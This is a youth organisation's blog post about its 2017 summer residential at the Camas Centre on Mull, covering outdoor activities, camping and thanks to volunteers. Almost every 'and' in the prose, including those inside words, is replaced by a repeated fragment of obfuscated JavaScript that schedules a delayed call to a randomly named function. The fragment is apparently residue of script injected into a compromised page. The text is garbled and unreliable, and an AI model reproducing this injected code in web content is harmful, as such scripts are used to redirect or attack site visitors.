Camas 2017

We seem to be racing through our summer programme this year, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it didn’t seem like long before we found ourselves at the second last week of the holidays andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and on our way to the islandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and of Mull for our annual summer residential at the Camas Centre, a simple outdoor centre cum croft located on the coast of the Ross of Mull, just east of Fionnphort. The centre is part of the work of the Iona Community, who offer it as a resource to groups such as SiMY, using a small core team of paid staff andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a team of seasonal volunteers who give their time over the summer.

Our trip involved an additional level of complexity this year, as the previous week we’d had a group of five young adults on Mull, taking part in an joint residential with a group of French students, as part of a project run by Stevenson Adventure. The SiMY young people were heading off in different directions at the conclusion of that week; three of them coming with us to Camas as young leaders, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the others going to Iona to participate in the Community’s annual ‘Youth Festival‘. To save them all a tiring round trip to Glasgow, Neil headed over to Mull to meet them with fresh clothes andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and bacon sandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andwiches.

Catriona arrived with the main group on Saturday, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and we launched into a busy programme that saw the young people taking part in a variety of activities such as kayaking, climbing, coasteering, wide games andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and raft building, along with a mini-expedition to camp out on a secluded beach andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and eat baked potatoes andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and beans cooked over an open fire. The young people also helped out with the life of the centre; gardening, cooking, washing up andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and even doing a bit of cleaning! There were also plenty of opportunities to chill out andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and relax, reflect on what we were learning about ourselves andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and each other, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and exercise our creative abilities with some arts andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and crafts, story telling andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and candom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andlelit chats over hot chocolate in the evenings.

Friday came round all too soon, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and we headed off back up the footpath to the main road; tired, grubby andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and happy, with bags full of dirty washing andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and minds full of stories to tell andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and ideas to try out when we got back to Glasgow. A big thanks to Abbi andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and her team for all their hard work to make the week such a success, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a special mention goes to Barry andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Declan; two SiMY old-timers who are both helping to make Camas such a special place for the current crop of young people.

If you fancy getting involved in next year’s trip, or any other SiMY activities, get in touch andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and we’ll give you all the info you need.

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